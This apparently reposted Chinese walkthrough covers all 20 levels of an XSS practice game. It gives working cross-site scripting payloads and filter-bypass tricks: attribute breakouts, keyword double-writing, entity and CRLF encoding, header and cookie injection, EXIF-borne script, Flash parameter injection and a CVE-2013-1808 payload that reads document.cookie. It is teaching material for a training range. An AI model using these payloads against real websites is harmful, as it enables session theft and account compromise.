IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 游戏开发 -> xss小游戏1-20,这大概是最详细易懂的了攻略吧 -> 正文阅读

[游戏开发]xss小游戏1-20,这大概是最详细易懂的了攻略吧

XSS小游戏通关攻略

level1

在这里插入图片描述

直接修改name参数的值为:

<script>alert(1)</script>

解释:利用<script>标签下的alert()弹窗

在这里插入图片描述

level2

尝试使用level1的:

<script>alert(1)</script>

在这里插入图片描述

查看网页源代码:

在这里插入图片描述

很明显,level2关卡的值被传到了value里

尝试使用

" onmouseover='alert(1)'

闭合vlaue的双引号

在这里插入图片描述

level3

尝试

" οnmοuseοver='alert(1)'	失败, " 被过滤

在这里插入图片描述

将 " 换成 ',后面的’去掉

'οnmοuseοver='alert(1)'

在这里插入图片描述

level4

观察网页源代码,可将参数值修改为:

" οnmοuseοver="alert(1)

在这里插入图片描述

level5

尝试之前关卡的xss代码,可知源代码有限制如下:

htmlspecialchars()		转义  <  > 
on转换为了o_n
<script>alert(1)</script>  仅转义<scrip 为 <scr_ip

尝试大小写绕过

" ONmouseover="alert(1)			大写被全部转换为小写

源代码不变

在这里插入图片描述

使用a标签的href属性

"><a href="javascript:alert('XSS');">//

在这里插入图片描述

在这里插入图片描述

level6

尝试大小写绕过

" ONmouseover="alert(1)			

在这里插入图片描述

level7

输入以下两种XSS代码.可知,其完整过滤了script,href

<script>alert(1)</script>"><a href="javascript:alert(1);">//  

换成onmouseover 可知其过滤了大小写和on关键字符

" ONmouseover="alert(1)	

尝试使用双写绕过

"><a hrhrefef="javascriscriptpt:alert(1);">//" oonnmouseover="alert(1)

在这里插入图片描述

level8

查看网页源代码可知:

在这里插入图片描述

20行存在a标签,值为我们输入的参数,存在XSS漏洞

尝试:

javascript:alert(1)

在这里插入图片描述

猜测 r 被替换为了 r_

尝试使用Unicode编码绕过

javasc&#114;ipt:alert(1)

在这里插入图片描述

level9

查看level9的php文件代码

在这里插入图片描述

发现存在strpos(),判断 http:// 是否存在

在这里插入图片描述

借助level8的payload重新构造得:

javasc&#114;ipt:alert('http://')

在这里插入图片描述

level10

查看网页的源代码可知,本关卡存在三个参数。尝试给前两位参数传值,发现没有作用,只有第三位可传。

在这里插入图片描述

t_sort=" οnmοuseοver="alert(1)" type="text

在这里插入图片描述

level11

查看php文件的代码

在这里插入图片描述

可知我们可以在请求头进行XSS注入

通过bp抓包(level10到level11的包)

修改其Referer

" οnmοuseοver=alert(1) type="text"

在这里插入图片描述

level12

首先查看网页的源代码

在这里插入图片描述

可以看到有一个参数 t_ua 的值

可以联想到用bp抓包,再更改它的user-agent(后面加)

" οnmοuseοver="alert(1)" type="text

在这里插入图片描述

重新放出

在这里插入图片描述

level13

和12关类似,用bp抓包

然后修改Cookie的值:

" οnmοuseοver="alert(1)" type="text

在这里插入图片描述

在这里插入图片描述

level14

这一关是关于图片的exif信息,未加过滤就会触发xss漏洞攻击。

原来的本关是跳转到网站

http://exifviewer.org,然后在网站上通过上传自己修改过的图片来产生xss漏洞攻击的,但是网站现在已经登不进去了。

在查阅了多方的资料以后,还是通过一位大佬自己编写的php文件来复现此关(自己又修改了一点点)。php修改文件如下:

<head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level15.php??src=1.gif"; }</script></head><form action="" method="post" enctype="multipart/form-data">	<h1 align=center>欢迎来到level14</h1>    <input type="file" id="File" name="file"/>    <input type="submit"  name="submit" value="submit"></form><?php//error_reporting(0);if(isset($_POST['submit'])){    $file = $_FILES['file'];    $filetmps = $file['tmp_name'];    $exif = exif_read_data($file['tmp_name'], 0, true);    foreach ($exif as $key => $section) {        foreach ($section as $name => $val) {            echo "$key.$name: $val<br />\n";        }    }}?>

很多属性都是可以尝试去修改的,修改的xss语句可以是:

' "><img src=1 οnerrοr=alert("xss")>'

我们这次修改的就是照相机制造商:

在这里插入图片描述

将修改后的照片上传

在这里插入图片描述

点击submit后,成功

在这里插入图片描述

ps: php版本得选高点,确保有php_exif,然后也必须开启它。phpstudy可以直接在php拓展里面开启它。

level15

做这道题的时候,由于靶场内的网址

https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js

服务器是在国外

建议使用VPN,访问才能变快。否则可能因为长时间响应而导致未出现弹窗。

观察到有ng-include出现,ng-include指令用来包含外部的HTML文件

在这里插入图片描述

自然想到文件包含,调用evil code执行弹窗

?src='level1.php?name=<img src=x οnerrοr=alert(1)>'

在这里插入图片描述

level16

查看源代码

在这里插入图片描述

我们可以知道,这一关过滤了

script	空格	/	

空格的过滤尝试采用编码来进行绕过

%0d%0a

因为尖括号没被过滤,但script关键字被过滤

尝试构造的payload可以使用img标签

<img%0d%0asrc=1%0d%0aonerror=alert(1)>

在这里插入图片描述

level17

查看本关php源代码

在这里插入图片描述

可见本关使用了<embed>标签,然后对于两个参数都进行了htmlspecialchars()函数的防护。

在标签内直接插入onmouseover

arg01=a&arg02=b onmouseover=alert(1)

点击成功进入18关

在这里插入图片描述

level18

arg01=a&arg02=b onmouseover=alert(1)

此关卡的payload和上一关一样,但是要注意的是必须要安装flashplayer插件才能有弹窗出现(level17关也是)。

亲测,没有安装的火狐无法弹出窗口。安装了的qq浏览器可以成功弹出

在这里插入图片描述

level19

arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>

右键这些看不懂的一些代码,发现这是flash渲染出来的。那么要看swf文件。

在这里插入图片描述

在源码中可知src=xsf03.swf

在这里插入图片描述

我们去xsf03.swf寻找sIFR

sIFR:当页面下载时,在一个指定的元素中用Flash渲染的文字来代替一些文本。

利用FFdec来反编译xsf03.swf文件

在这里插入图片描述

根据刚刚看到的界面信息来查找相关信息的代码

在这里插入图片描述

我们再查找VERSION_WARNING

在这里插入图片描述

可以看出version值赋给了_loc4_

version就是436哦。。。

在这里插入图片描述

就试一下

?arg01=version&arg02=b

在这里插入图片描述

也就是version=b

因为刚刚有在源码上看到,如果version!=436,页面的%s就会改成你写的

在这里插入图片描述

果不其然

在这里插入图片描述

毫无疑问,我们应该在这里插入我们所构造的payload

再次查看反编译以后的sIFR,我们可以看到里面有getURL函数,利用这个函数我们就可以自动打开指定的网页,开启条件就是链接形式

那我们就尝试使用a标签构造链接,然后夹杂私货小弹窗。

尝试

version=<a href="javascript:alert(1)">1</a>a>

页面里面就是

arg01=version&arg02=<a%20href="javascript:alert(1)">1</a>

可以看到,蓝色字体11就是我们构造的链接,可以正常显示

在这里插入图片描述

点击11,成功

在这里插入图片描述

level20

查看页面的源代码
在这里插入图片描述

使用FFdec反编译xsf04.swf
在这里插入图片描述
CVE-2013-1808的漏洞,详情请看
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1808

大佬提供的payload

http://localhost/xss_game/level20.php?arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height
  游戏开发 最新文章
6、英飞凌-AURIX-TC3XX: PWM实验之使用 GT
泛型自动装箱
CubeMax添加Rtthread操作系统 组件STM32F10
python多线程编程:如何优雅地关闭线程
数据类型隐式转换导致的阻塞
WebAPi实现多文件上传,并附带参数
from origin ‘null‘ has been blocked by
UE4 蓝图调用C++函数(附带项目工程)
Unity学习笔记(一)结构体的简单理解与应用
【Memory As a Programming Concept in C a
上一篇文章      下一篇文章      查看所有文章
加:2021-07-16 11:38:06  更:2021-07-16 11:39:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 11:33:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计